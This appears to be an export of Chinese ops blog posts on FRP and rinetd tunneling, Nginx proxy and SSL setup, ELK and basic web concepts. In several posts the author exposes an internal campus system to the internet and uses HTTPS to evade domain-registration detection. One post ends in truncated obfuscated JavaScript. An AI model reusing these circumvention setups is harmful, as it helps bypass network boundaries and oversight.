token、\n客户端：\n[common] server_addr = ****.diglp.xyz server_port = *000 token = ******* [web] type = tcp local_ip = 127.0.0.1 local_port = 443 remote_port = **** 这里是客户端的配置文件，比较核心的配置在其指定本地端口以及远程端口的两行。指本地的localhost的443端口透传到远程主机的 **** 端口。\nFRP 测试连接 服务端部署，使用 Nohup 使其在后台运行，当然可以注册一个 supervisor。\n➜ ~ nohup ./frps -c frps_full.ini --log_file frps.log \u0026amp; 客户端连接，运行：\nnohup ./frpc -c frpc_wan.ini \u0026amp; 测试连接，这里使用 nc -l 对端口进行监听：\n客户端：\nnc -l 443 服务端：\ncurl -XGET localhost:**80 以此模拟一个 GET 请求。之后在客户端得到如下结果，说明透传成功：\nroot@vm:~/qspace $ nc -l 443 GET / HTTP/1.1 User-Agent: curl/7.29.0 Host: localhost:**80 Accept: */* 或者：客户端\nroot@vm:~/qspace $ sudo python -m SimpleHTTPServer 443 Serving HTTP on 0.0.0.0 port 443 ... 127.0.0.1 - - [20/Feb/2019 23:29:47] \u0026#34;GET / HTTP/1.1\u0026#34; 200 - 服务端：\n➜ frp_0.23.2 curl -XGET localhost:**80 \u0026lt;!DOCTYPE html PUBLIC \u0026#34;-//W3C//DTD HTML 3.2 Final//EN\u0026#34;\u0026gt;\u0026lt;html\u0026gt; \u0026lt;title\u0026gt;Directory listing for /\u0026lt;/title\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h2\u0026gt;Directory listing for /\u0026lt;/h2\u0026gt; \u0026lt;hr\u0026gt; \u0026lt;ul\u0026gt; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;frp_0.24.1_linux_arm/\u0026#34;\u0026gt;frp_0.24.1_linux_arm/\u0026lt;/a\u0026gt; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;frp_0.24.1_linux_arm.tar.gz\u0026#34;\u0026gt;frp_0.24.1_linux_arm.tar.gz\u0026lt;/a\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;hr\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 至此连接测试完成。FRP 功能测试正常。\n更新:\n这里可以注册为 服务 :\n# 复制文件 cp frps /usr/local/bin/frps mkdir /etc/frp cp frps.ini /etc/frp/frps.ini # 编写 frp service 文件，以 centos7 为例 vim /usr/lib/systemd/system/frps.service # 内容如下 [Unit] Description=frps After=network.target [Service] TimeoutStartSec=30 ExecStart=/usr/local/bin/frps -c /etc/frp/frps.ini ExecStop=/bin/kill $MAINPID [Install] WantedBy=multi-user.target # 启动 frp 并设置开机启动 systemctl enable frps systemctl start frps systemctl status frps 这里参考了这篇文章\nhttps://mritd.me/2017/01/21/use-frp-for-internal-network-wear/\nNginx 配置以及测试 这里用到了 Nginx 的反代功能，在写正确的配置之时，后面也写自己在过程中的尝试和想法XD。\n这里直接把配置贴上来了就\nserver { listen 443 ssl default_server; server_name _; root /usr/share/nginx/html; ssl_certificate /etc/nginx/ssl/mine.diglp.xyz.crt; ssl_certificate_key /etc/nginx/ssl/mine.diglp.xyz.key; ssl_session_cache shared:SSL:1m; ssl_session_timeout 10m; ssl_ciphers HIGH:!aNULL:!MD5; ssl_prefer_server_ciphers on; # Load configuration files for the default server block. location = / { #internal; #return 403; empty_gif; } error_page 404 /404.html; location = /40x.html { } error_page 500 502 503 504 /50x.html; location = /50x.html { } } server { listen 443 ssl; server_name xxxk.****.diglp.xyz; root /usr/share/nginx/html; ssl_certificate /etc/nginx/ssl/mine.diglp.xyz.crt; ssl_certificate_key /etc/nginx/ssl/mine.diglp.xyz.key; ssl_session_cache shared:SSL:1m; ssl_session_timeout 10m; ssl_ciphers HIGH:!aNULL:!MD5; ssl_prefer_server_ciphers on; location / { proxy_pass http://172.***.64.***; } } server { listen 443 ssl ; server_name bkjw.****.diglp.xyz; root /usr/share/nginx/html; ssl_certificate /etc/nginx/ssl/mine.diglp.xyz.crt; ssl_certificate_key /etc/nginx/ssl/mine.diglp.xyz.key; ssl_session_cache shared:SSL:1m; ssl_session_timeout 10m; ssl_ciphers HIGH:!aNULL:!MD5; ssl_prefer_server_ciphers on; location / { proxy_pass http://172.***.13.***; } } 关于这里的说明：\n由于域名没有备案，所以随随便便弄个自签证书，顶上去，先用着了。所以会显示不安全 配置文件从 模板 copy-paste 上来的，所以有些冗长 这里还撞上了名字服务的问题 配置完成后使用\n/usr/sbin/nignx -s reload 对其进行热重启就好了。理论上问题不大。\n系统测试 这个架构十分的简单，也没有什么问题可言吧。好像是的，直接公网访问。即可\n可用性保证 由于条件问题，内网客户端并不能保证稳定以及可用性，为了可用性的保证，这里使用 云拨测，对目标 URL 进行定时请求，当有服务不可用时，及时的进行告警。\n腾讯云-云拨测 现在是免费使用 Recommend\n过程问题笔记 这部分，没什么太大营养。。。\nrewrite 其实，在这整个搭建的过程中，遇到了一个很大的问题。什么呢？就是通过名字对页面进行访问和区分。比如 adb.com/1 和 abc.com/2 分别转发到不同的。乍一看是很好实现的，直接 rewrite 就好了比如这样：\nlocation ^~ /phpMyAdmin { root /var/services/web; rewrite ^(.*)$ /phpMyAdmin/disabled.html break; } 这样的确可以实现隐式的重定向，但是这里的核心问题，不是同源。所以这个方法直接 pass 掉了。\n直接proxy_pass的问题 location /bkjw/ { proxy_set_header Host $host; proxy_pass http://172.*.13.*; #proxy_pass http://bkjw.guet.edu.cn; } 这样的配置看似是没有问题，但是在测试的时候，会发现非常非常多的 404。具体什么情况呢？因为页面的请求是相对与我们的路由路径 /bkjw/ 来加载静态文件的。所以请求的路径是 abc.com/bkjw/ 直接导致了静态文件的 404。\n那么就想嘛，我把静态文件单独代就行了？所以有这样的：\nlocation ~ .*\\.(gif|jpg|jpeg|png|bmp|swf|js|css|html)$ { proxy_pass http://172.*.13.*; expires 30d; } 显然这样也是不行的，有悖了初衷，还是占用了 /。\nSet-Cookie 和 referer 的脑洞 那么归根结底，我们要确认的是这个静态文件的请求是从哪里来的。于是就想到了 referer。\nlocation / { if ($http_referer ~* \u0026#39;.*/bkjw/\u0026#39; ){ proxy_pass http://172.#.13.#; } return 403; } 这样一试，还可以！打开了首页里面所有的东西都加载出来了。不过问题又出现了，在打开第二个页面的时候，referer 已经发生了变化，同样导致大量 404。\n这样，我就给用户一个标识，在请求资源的时候我就可以判断啦。这里就出现了 set-cookie 的方法。希望通过cookie的方式给用户一个标识符，说明其源站从哪里来。配置如下：\nlocation /bkjw/ { #add_header Set-Cookie \u0026#39;bussid=bkjw\u0026#39; ; proxy_pass http://172.16.13.22/; } location / { if ($cookie_{bussid} ~* \u0026#39;bkjw\u0026#39; ){ proxy_pass http://172.#.13.#; } return 403; } 结果发现，并没有什么用。F12 看了看，发现了奥秘，请求静态资源的时候是不进行Cookie传递的，一想也是，这样才安全嘛。\n这里回顾一个经典的 phishing 的手段，在邮件中插入一个外部图片，透过请求图片的请求头，获得已读回执，和基本的系统状态\n至此没有办法，只能使用 server_name 来对其进行区分，最终的配置如上上的示例所示。显得不是那么有美感了。\n后面的话 人工智能的发展一旦上路了将会是飞速的，不要想着如何对付和人一样聪明的电脑，要么它永远不如你，要么它就把你远远的甩在身后。和你齐头并进只不过是一个瞬间而已。\n","date":"2019-02-20T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/02/2019-02-20-%E5%8F%A6%E4%B8%80%E6%AC%A1%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8Freverse-proxy/","tags":null,"title":"另一次内网穿透(reverse proxy)"},{"categories":null,"contents":"一个挺重要的网站,奈何只能内网访问, 想着把他外网映射出来\u0026hellip;遂为之\n这篇文章应该是 2018/1/14时候就已经完成了，总是缺一点内容于是就没有post 出去。现在是时候了，因为完成同样的事情，现在有了第二个更好的解决方案，所以这这里 post 上去，做个对比。\n这篇的方法十分的简单粗暴，使用了昂贵的资源，做了简单的事情，也是个反面教材。不过从底层的原理还是OK的。\n原理分析 VPN simple概念 VPN 是 Virtual Private Network 的缩写, 翻译过来是虚拟专用网络.引用百科的话来讲:\n虚拟专用网络的功能是：在公用网络上建立专用网络，进行加密通讯。在企业网络中有广泛应用。VPN网关通过对数据包的加密和数据包目标地址的转换实现远程访问。\n通俗的讲, 使用VPN 技术,可以将 在公有网络的 两台主机, 进行一个私有的隧道链接, 效果,就和我们自家用的路由器一样. 在一个 VPN 下的子网主机是可以互相访问的(规则允许的话)\nVPN 再协议栈层级很低的地方，一般在 2或者3 层，也就是数据链路层或者网络层，这里的 端口转发涉及到端端在第四层。\n端口转发(Port-Tunnel) simple概念 一样援引百科的定义\n端口转发（Port forwarding），有时被叫做隧道(tunnel)，端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为，其使一个外部用户从外部经过一个被激活的NAT路由器到达一个在私有内部IP地址（局域网内部）上的一个端口。\n很好理解的东西, 端口转发技术, 显然是用于端到端的通信. 端到端,在TCP/IP的协议栈中, 是包含了TCP和UDP 这两种数据传输方式, 所以可见所有的应用层的数据, 都可以使用端口转发(这也是 ss 和 http代理的区别).\n在这里我们使用端口转发, 对Http请求进行直接转发. 实施 方案 先使用外网VPN服务器, 让内网主机接入其子网, 而后通过两次的端口转发(port-tunnel), 达到内网服务器 现在分析具体情况, 我们的内网外部不可访问, 内网主机可以互相访问, 我们的内网主机可以访问外网. 所以我们我要实现的是\n先使得我们的主机可以外网访问, 所以首先连接外网, 这里就选择了VPN.内网主机,和公网主机组合成一个子网 内外网主机可以互相访问之后, 使用端口转发, 暴露公网主机的端口, 转发到我们的VPN子网的某个端口.实现外网访问我们内网的转发主机 实现了转发主机的外网访问之后, 我们再在转发主机上, 进行二次转发. 让流量,从虚拟子网, 转发到内网可以访问的目标主机的80 . 至此, 方案完成 具体实施 这里使用 OpenVPN 在这里建立了VPN连接，为了方便管理和配置，（因为只是自己用），所以这里推荐使用 openvpn-as 是一个管理前端。免费版允许两台主机同时连接，自己使用实际上也是已经够了的。配置的过程这里年久失修，脑子里也没有了，难度系数一颗星。\n在搭建完成之后，开始使用客户端进行连接，记得开放主机的安全组端口配置。连接之后，使用 ifconfig 应该会有个 Vlan的 interface 。这里就是我们的 VPN 子网。\n有了子网之后，先互 ping 确保联通。之后使用这里的主角 rinetd 。是一个十分轻量级的端口转发工具。\n0.0.0.0 2333 172.16.64.*** 80 启动脚本：\nsudo pkill rinetd sudo rinetd -c /etc/rinetd.conf 这样就实现了，在 2333 端口到目的主机的 80端口的内容转发，最终转发的就是我们的 HTTP 的请求。\n同样的，在我们的云服务器上一样需要这样的配置，把用户们输入的请求，转发到我们的 VPN 的子网之中，到内网转发主机的模板端口，来再进行下一次转发。在公网主机上我们一样使用上面类似的配置。只不过，是从 公网 转发到 VPN 子网，反向操作。\n综上，基本的链路已经实现和打通。还会有一点我问题。这样直接访问的话，得到的结果是 无法连接。 为什么？\n因为，在默认的路由出了问题。\n路由是什么？怎么用？ 看篇文章：win7操作系统双网卡同时上内外网\n所以文oveli对路由进行指定：让这个 IP 走我们的 199.1 的网关。\nsudo route add -host 172.16.64.236 gw 192.168.199.1 至此，整个配置完成。（辣鸡方案）\n后面的话 这篇文章，是一年前的烂尾了，现在才post出来，是为了后面的更好的方案做对比。\n","date":"2019-02-19T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/02/2019-02-19-%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F%E9%85%8D%E7%BD%AEtunnel/","tags":null,"title":"记一次内网穿透配置(tunnel)"},{"categories":null,"contents":"架构选型 这里使用ELK 平台主要是实现了单主机的日至手机以及可视化，吞吐量比较小，所以直接进行单点部署。由以下几个组件组成：\nFileBeat Elasticsearch Kibana Filebeat 这里实现日志文件的手机以及格式化，并且通过管道直接存入ES\nES 作为主体，实现对索引条目进行保存\nKibana 实现了ELK系统的整体监控，通过 API与ES交互，实现数据可视化，以及设置。\nlogstash logstash 作为一个对数据进行流处理的module，这里由于不需要对日志进行进一步处理，所以并没有使用此组件。关键是内存真的不够了，跑不起来了是真的Q\n安装及部署 安装以及部署的过程实际上并不是十分复杂，在ELK项目官网上实际上已经给出了相关的 rpm包，所以直接使用 rpm 进行安装即可：\n-rw-r--r-- 1 root root 12M Jan 29 19:31 filebeat-6.6.0-x86_64.rpm -rw-r--r-- 1 root root 177M Jan 29 19:34 kibana-6.6.0-x86_64.rpm -rw-r--r-- 1 root root 163M Jan 29 19:35 logstash-6.6.0.rpm rpm -ivh xxx.rpm 这里涉及到的一个 point 是systemV init 还是 systemd 下面给出一篇相关文章，(IBM Developer 还真是个好地方。)\n浅析 Linux 初始化 init 系统，第 3 部分\n这里提到的是Linux里最重要的启动进程，作为第一个用户态进程 其PID为1 ps 1 可以看到进程的运行。他负责在内核启动之后，完成余下的引导过程，比如加载加载服务，启动Shell/图形化界面等等。在 CentOS 7 之后，使用 Systemd 风格取代了原来的 init的风格。（使得启动速度有的提升）\n➜ ~ ps 1 PID TTY STAT TIME COMMAND 1 ? Ss 2:50 /usr/lib/systemd/systemd --switched-root --system --deserialize 21 可以看到，这里的 ps1 已经是 systemd 了。\n所以这里又涉及到了，Ubuntu 和 CentOS 的一大差别，自己也是用了才发现，之前Ubuntu的服务启动与管理使用 service 命令，并且在 /etc/inittab 里面可以对初始化进行一系列的配置。在Cent里面写着一句话：\n总之在目前的环境中，使用 systemctl 命令对服务进行控制。\n➜ ~ systemctl status elasticsearch.service ● elasticsearch.service - Elasticsearch Loaded: loaded (/usr/lib/systemd/system/elasticsearch.service; disabled; vendor preset: disabled) Active: active (running) since Tue 2019-02-05 02:39:39 CST; 1 weeks 1 days ago Docs: http://www.elastic.co Main PID: 27965 (java) CGroup: /system.slice/elasticsearch.service ├─27965 /bin/java -Xms256m -Xmx256m -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -Des.networkaddress.cache.ttl=6... └─28026 /usr/share/elasticsearch/modules/x-pack-ml/platform/linux-x86_64/bin/controller 之后修改各自的配置文件，使得其端口对应，一般就可以跑起来了。\n为了安全起见，这里使用 Nginx 做了一个 Web 的认证，对路由进行一个转发。\n环境调整 ES的JVM 的堆大小调整 （heap） 启ES的时候，直接报错 unable to alloca ，一想应该是内存太小了导致的问题。查看配置文件 /etc/elasticsearch/jvm.options 并且进行参数调整\n-Xms256m # 这里缺省为 1g -Xmx256m 由于本机的RAM也只有 1G 还得跑其他的奇怪的东西，所以这里只能非常的乞丐设置。分出一点宝贵内存。\n虚拟内存 Swap 的设置 由于VM的机能，所以1G的内存显然是不够用的。只能改变参数。使得JVM分配的内存只有 256M。且，启用虚拟内存，即swap。\nLinux SWAP 交换分区配置说明 - CSDN\ndd if=/dev/zero of=/swap-file bs=1M count=1024 # 新建白文件 1G mkswap /swap-file # 格式化 swapon /swap-file # 启用swap 为了使swap自动挂载使用 /etc/fstab 里面进行配置：\nUUID=653bbeb5-4abb-4295-b110-5847e073140d swap swap defaults 0 0 /swap-file swap swap defaults 0 0 顺便调整了 swappiness 使得机器更加积极的使用 虚拟内存\n➜ ~ sysctl vm/swappiness=60 设置副本数 0 由于只是单点，且性能受限，这里发现的问题es的节点状态一直是 yellow。归根发现就是性能问题，所以这里进行配置，设置其分片副本为 0。\ncurl -H \u0026#34;Content-Type: application/json\u0026#34; -XPUT \u0026#39;http://localhost:9202/_settings\u0026#39; -d \u0026#39; { \u0026#34;index\u0026#34; : { \u0026#34;number_of_replicas\u0026#34; : 0 } }\u0026#39; 后面的话 Happy Valentine\u0026rsquo;s Day\n","date":"2019-02-13T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/02/2019-02-13-elk-%E6%97%A5%E5%BF%97%E5%8F%AF%E8%A7%86%E5%8C%96%E5%B9%B3%E5%8F%B0-%E6%90%AD%E5%BB%BA/","tags":null,"title":"ELK 日志可视化平台 搭建"},{"categories":null,"contents":"前面的话 需求分析，由于 搭好了日志平台，本想着把Blog迁移到主机上，最后想想，算了\n这里的博客的域名，本来是通过 在解析配置里面使用了一个 CNAME到 quartz010.github.io 实现一次访问，这里对架构进行一次调整。原 blog的二级先解析到服务器，留下日志之后，进行一次隐式跳转，实现一次访问。不过，这样会受限于服务器的带宽。但是也算是接入了日志平台。所以这里需要使用 Nginx 实现重定向。\n其二，域名不备案，web一起来，就被工信部给 ban 了。可是备案太麻烦了，真的是懒。所以这里跑 HTTPS ，做一个短期的检测绕过。因为 HTTPS 其报文内容是加密的，所以流量只要不是很大，应该也不至于单独去做侧信道的分析。所以这里顺便给部署全站的 HTTPS 访问暂时的撑着。\n显式重定向 和 隐式重定向 这里的一点调整在于 Github page 的命名\n当repo 命名为 quartz010.github.io 可以直接通过 其进行访问，如果其他命名的话，需要进行 quartz010.github.io/xxx 进行访问，所以修改之后导致了其找不到静态文件。导致样式消失以及一大堆404 的问题。\n这里给出 基本配置：\nserver { listen 80; listen [::]:80; server_name blog1.diglp.xyz; # Load configuration files for the default server block. include /etc/nginx/default.d/*.conf; location / { #rewrite ^/(.*)$ /$1 break; proxy_pass https://quartz010.github.io; } # rewrite \u0026#34;^/(.*)$\u0026#34; https://quartz010.github.io/$1 last; } 这里的重点在 Location 的这一段：\nlocation / { #1# rewrite ^/(.*)$ /$1 break; # 隐式重定向 #2# proxy_pass https://quartz010.github.io; # 显式重定向 } 这里的重定向方式有两种，不过严格意义上讲，通过proxy_pass实现的只能叫做反向代理。不过这里用到了实现 Url不改变的重定向，也权且这样叫吧。 后面讲路由重写，这里先看这个正则表达式 ^/(.*)$ 代表以 / 开头中间匹配 .* (也就是任意个单字符)，之后再进行结尾。综上是匹配所有的路由。\n路由重写 路由的重写，这里算得上是很重要的一个模块了。一般 Nginx 默认编译需要 加上 Pcre 的正则的库，其基本语法如下：\nserver { rewrite 规则 定向路径 重写类型; } 规则：用于匹配的 URL 或者是正则表达式。 重定向之后的链接，可以带参数 重写类型： last ：表示完成rewrite，浏览器地址栏URL地址不变 break：本条规则匹配完成后，终止匹配，不再匹配后面的规则，浏览器地址栏URL地址不变 redirect：返回302临时重定向，浏览器地址会显示跳转后的URL地址 permanent：返回301永久重定向，浏览器地址栏会显示跳转后的URL地址 作用域: server, location, if rewrite ^(.*)$ https://$host$1 permanent 这里的重写类型是可选项，也可以不进行指定。这里值得注意的是，last 和 break 类型的区别。last 可以理解为，对url改变之后，继续对url进行重写匹配，知道最后没有相关规则时候便停止。break 在完成本次的重写之后，就不进行后继的匹配重写。eg\nserver { location / { rewrite /111/ /555/ last; rewrite /222/ /555/ break; } location ^~ /555/ { internal; empty_gif; return 403; } } 在这样的配置下。得到的结果是 访问 /111/ 的时候，直接返回了403的页面。而访问 /222/ 的时候，得到了404的返回。不过，值得注意的是， 111 返回了 403 的内容，但是实际上的 URL 并没有发生改变。即：\nxxx/111/ 的 URL 实际上是返回了 /555/ 的内容\nSSL 配置 基础知识 SSL 在http的具体应用就是 HTTPS （HTTP over TLS）。\nHTTPS的主要思想是在不安全的网络上创建一安全信道，并可在使用适当的加密包和_服务器证书可被验证且可被信任时_，对窃听和中间人攻击提供合理的防护。\n一样回到PKI（Public Key Instruction）的体系里面，其中一个重要的概念就是 HTTPS 的证书。\n在普通的点对点加密里面，另个客户端可以直接进行秘钥的商定。\n但是在 BS 里面，服务器将面临多个客户端的请求，如果使用自签发证书，会出现证书可能会被伪造。可能会有其他的客户端使用伪造的证书进行HTTPS通信。\n常见的应用在于使用 SSLstrip 进行证书伪造攻击，以实现把HTTPS流量降级到HTTP。\n为了避免这样的情况出现，这里就出现了 CA机构（Certificate Authority）用于进行一个可信的第三方证书保管。证书由可信第三方提供，不是直接从服务器获得，所以保护了证书被伪造的可能。\n证书配置 直接在云服务商的website上面申请域名证书，这里申请的是针对 [mine.diglp.xyz]() 的单域名证书。可以免费申请。不过 CA 机构是 TrustAsia 据说这个真的不值得Trust。。。这就另说了。\n这里了解一下文件分布：\n. |-- Apache | |-- 1_root_bundle.crt | |-- 2_mine.diglp.xyz.crt | `-- 3_mine.diglp.xyz.key |-- IIS | `-- mine.diglp.xyz.pfx |-- Nginx | |-- 1_mine.diglp.xyz_bundle.crt | `-- 2_mine.diglp.xyz.key `-- Tomcat `-- mine.diglp.xyz.jks tree 一下目录，可见已经根据不同的Server给分成了不同的类型。内容都是一样，进行了一定程度的合并和拆分而已\nssl_certificate \u0026#34;/xxx/1_mine.diglp.xyz_bundle.crt\u0026#34;; ssl_certificate_key \u0026#34;/xxx/2_mine.diglp.xyz.key\u0026#34;; ssl_session_cache shared:SSL:1m; ssl_session_timeout 10m; ssl_ciphers HIGH:!aNULL:!MD5; ssl_prefer_server_ciphers on; 这样就很轻松的完成了Https的配置。\n全站使用 HTTPS 的实现 这里很巧妙的使用了重定向，实现了全站的HTTPS。通过对HTTP流量进行重定向实现\nserver { listen 80 default_server; #listen [::]:80; return 301 https://$host:9943$request_uri; #rewrite ^(.*)$ https://$host$1 permanent; } 这里对所有的请求，直接重定向到HTTPS。很是巧妙\n后面的话 很多事，很多事，面对审判吧。\n用的就记录下来\n","date":"2019-02-07T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/02/2019-02-07-nginx-%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0ssl%E9%85%8D%E7%BD%AE%E4%BB%A5%E5%8F%8A%E8%B7%AF%E7%94%B1%E9%87%8D%E5%86%99/","tags":null,"title":"Nginx 折腾笔记（SSL配置以及路由重写）"},{"categories":["op之路"],"contents":"前面的话 2008年，第一款安卓手机诞生，HTC G1。智能手机的十年，像是人类的一个世纪\n在十年前的时候，互联网哪里有普及呢？\n十年之后，世界又将怎样？\n每种技能的经济价值是很快会下降的\n又是拖延症爆炸的时间，这篇博文开了都自己墨迹了这么久，竟然几天之后才开始继续写，没救了。\n这篇主要就是写，Nignx 的路由匹配，和一些基本的认证操作。\nNginx 的认证配置 这里使用 Nginx 的基础的身份认证功能，来实现对页面访问的授权访问。采用 htpasswd 来实现了鉴权。这个是 apache 的资自带的工具，这里也可以使用 OpenSSL来生成密码文件。\nsudo sh -c \u0026#34;echo -n \u0026#39;admin:\u0026#39; \u0026gt;\u0026gt; /etc/nginx/.htpasswd\u0026#34; sudo sh -c \u0026#34;openssl passwd -apr1 \u0026gt;\u0026gt; /etc/nginx/.htpasswd\u0026#34; 在 Nginx 的conf 文件中，在指定的路由路径的配置下面使用如下的配置语句：\nauth_basic \u0026#34;Authorized users only\u0026#34;; # 验证提示框 auth_basic_user_file /home/.htpasswd; # 鉴权密码文件 在最终的 Nginx 配置里的实例配置如下：\nlocation ^~/asd/ { auth_basic \u0026#34;Is You?\u0026#34;; auth_basic_user_file /etc/nginx/.htpasswd_k; proxy_set_header Host $host; proxy_pass http://localhost:5601/; } 这样在对目的路由进行请求的时候，会被要求用户鉴权。\n至此，配置完成\n2019-06-02 21:33:28 星期日 更新 为了提高安全性，应避免文件被直接访问，使用以下配置：\nlocation ~/\\.ht { deny all; } Nginx 路由配置 location 在 Nginx 里面是相当常见的，用于对路由路径的匹配。\n通配符在这里是一个重点，\nlocation [=|~|~*|^~] /uri/ { … } location modifier uri {...} 匹配类型 匹配类型 描述 = 完全匹配 斜杠都不能多 ~ 大小写敏感 pattern 是正则表达式 (None) 匹配相似的部分pattern 部分相似即匹配 ~* 大小写不敏感 pattern 是正则表达式 ^~ 和 None 类似，但是一旦匹配，即停止匹配 @ 只能被内部访问 同 internal？ 匹配示例 location ^~ /us/ { auth_basic \u0026#34;Is You?\u0026#34;; auth_basic_user_file /etc/nginx/.htpasswd; alias /usr/share/nginx/html/us/; } 这里使用 ^~ 修饰符指定了是部分匹配的，但是使用了 /xxx/ 的结构基本上也是实现了完全匹配。\nlocation ~ \\.php$ { proxy_pass http://127.0.0.1; } 大小写匹配的正则表达式，匹配以 .php 结尾的项目，转发到 fastcgi。\\. 是转义的 .\nlocation ~* .(gif|jpg|jpeg)$ { } ","date":"2019-02-06T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/02/2019-02-06-nginx-%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0-%E8%B7%AF%E7%94%B1%E9%85%8D%E7%BD%AE%E4%BB%A5%E5%8F%8A%E8%AE%A4%E8%AF%81/","tags":["linux","nginx","ops"],"title":"Nginx 折腾笔记 （路由配置以及认证）"},{"categories":null,"contents":"什么是web web（World Wide Web）即全球广域网，也称为万维网，它是一种基于超文本和HTTP的、全球性的、动态交互的、跨平台的分布式图形信息系统。\n这里引用自百科，这这里就粗浅的理解为我们的网站吧。\n前端和后端 WEB的结构是 B/S模式（Browser/Server，浏览器/服务器模式），这种模式区别于 C/S （Client/Server）模式。\n（想想CS模式，常见的是我们的桌面软件（QQ，etc）），所以 BS 的特点就是功能在服务器的高度集中，使用浏览器就可以和所需的不同服务进行交互。\n前端后端，是我们在web方面听到的较多的词汇，其实际上的功能是什么呢？\n前端 提词：\nHTML （How to meet lady）（页面的主体，可以理解为ppt的内容） CSS （决定ppt内容的样子，方的圆的） JavaScript （赋予了页面动态的效果） BootStrap （用于设计界面的一个框架） JQuery （用于更好的动态功能的组件） \u0026hellip; 好，上面的名词看晕了，那么现在就来看看什么是前端。\n简单切不严谨的说，用户通过浏览器直接接触到的东西就是前端。那么怎么讲呢？简单！按一下 F12就看见了熙熙攘攘的代码堆起来了。\n鼠标在元素选项卡(Element)，选中 Html 中的不同标签，发现其是在页面中是一一对应的。所以说，页面的内容和我们 HTML 中的标签是一一对应的（不严谨），这样就可以得出结论，HTML 是页面的骨架对吧，构建出了整个页面的基本内容。\nHTML 就是PPT的内容，实现了基本的页面内容\n接下来，就是介绍 JavaScript 的时候了，JS 这个名号听着厉害，实际上一直在浏览器上跑着呢。这里继续 F12 在里面找到 控制台(Console)，在里面输入：\nalert(\u0026#39;love ann!\u0026#39;); confirm(\u0026#39;Would U like be With me?\u0026#39;); (如果看到这里，可以去跑一下晚上的神秘代码！)\n所以 JS 的功能呢，就是可以赋予网页动态的灵魂（类比给 ppt 加上了动画），这样就可以实现很多炫酷的效果。这些代码在浏览器里偷偷运行着。\n或者试试这个？\n$.map($(\u0026#39;div\u0026#39;), function(e,t,n){$(e).css({\u0026#34;background\u0026#34;: \u0026#34;red\u0026#34;});}) 红彤彤的，是不是一下子就过年了？？？\nJS 就是 PPT 里面的动画，实现了动态效果，比如点击消失\nCSS （Cascading Style Sheets） 层叠样式表，是不是有些时候页面加载出来很奇怪？ 比如一堆内容堆在了屏幕的坐标，刷新几次就好了？ 这里就是这个CSS没有加载出来。\n简单的说呢？ 这个东西是来配置一个页面元素 长什么样子的，怎么说呢？我们还是看上面的代码：\n$.map($(\u0026#39;div\u0026#39;), function(e,t,n){$(e).css({\u0026#34;background\u0026#34;: \u0026#34;red\u0026#34;});}) 虽然有点晕晕的，不过我们看里面的部分 css({\u0026quot;background\u0026quot;: \u0026quot;red\u0026quot;}) 是不是瞬间熟悉了，这里其实完成的就是对元素的样式进行了调整，把背景设置成了红彤彤。\n好的，前端我说完了 XD\n后端 提词：\nWeb服务器 Nginx Apache 数据库 Mysql， MongoDB，Redis \u0026hellip; PHP，Python，Java \u0026hellip; ThinkPHP，Django，Spring \u0026hellip; 这里的词就有些模式了吧？ 慢慢来 现在我们到了，后端了。这个又怎么说？一句话，用户摸不到的地方就是后端。怎么理解呢？\n看我们平时登陆一些服务的时候，这个过程一定熟悉。我们的账户就保存在 后端的 数据库之中，每每我们登陆的时候，把账号密码发送给目标服务器，服务器帮我验证，你的密码和注册的时候是不是一样的，从而判断是不是你。（不可能放在前端对吧？否则 你 F12 就看见密码了，吼吼吼）\n先从 WEB服务器来讲吧，这到底是个啥呢？\n我们的Html文件，在本地磁盘上，我们直接双击打开，看已经打开了一个网页了对吧？\n那么 WEB服务器 的功能，就是帮你找东西。比如我要访问这个链接\nhttps://blog.diglp.xyz/2019/01/20/Nginx%20log/index.html\n分段来看：\nhttps://blog.diglp.xyz 这里就是访问了服务器对吧 /2019/01/20/Nginx%20log/index.html 这里呢？就是在服务器里面找东西了 想想昨天的 pwd 是不是就好理解了？\n数据库，这里其实听名字就知道啦，存数据的地方。我们可以使用 SQL （Structured Query Language）语言，对数据进行查询。\nMongoDB 是一种新式数据库，基于文件的 NoSQL， 突破了结构化的限制 是 NoSQL （Not Only）\nRedis 实现在内存中实现数据存储，数据更快，一般用于请求量极大的数据，保持高命中率。\n编程语言，和编程框架，这里放在一起啦。上面的每一种语言 都可以轻松实现一个 hello world。\nPHP 本身是一种编程语言，是和 python 一个层级，.py 需要 python runtime 。.php 需要 php 的 runtime。两个东西都可以很简单的使用 python x.py 和 php x.php 的运行起来 当 python 使用 flask/Django 开始 web 开发的时候了。和 PHP 的 web 框架 (ThinkPHP) 作用在一个层级了。不准确的讲每次访问，都会启动一个进程，对这个脚本内的内容进行运行， 这里的运行是在服务器端的。对我的的请求进行解析，比如 url 的路由路径， 请求方式等进行响应。 这时候仍然是在服务器端， 进行数据库的增删查改。 把操作 (得到的数据，传递到前端) index.php?category=x 前端进行数据获取，由 js 脚本，实现静态 html 的显示刷新 XD 这里我从之前的地方 Copy了，饿了！\n后面的话 eval(function(p,a,c,k,e,d){e=function(c){return(c\u0026lt;a?\u0026#34;\u0026#34;:e(parseInt(c/a)))+((c=c%a)\u0026gt;35?String.fromCharCode(c+29):c.toString(36))};if(!\u0026#39;\u0026#39;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\u0026#39;\\\\w+\u0026#39;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(\u0026#39;\\\\b\u0026#39;+e(c)+\u0026#39;\\\\b\u0026#39;,\u0026#39;g\u0026#39;),k[c]);return 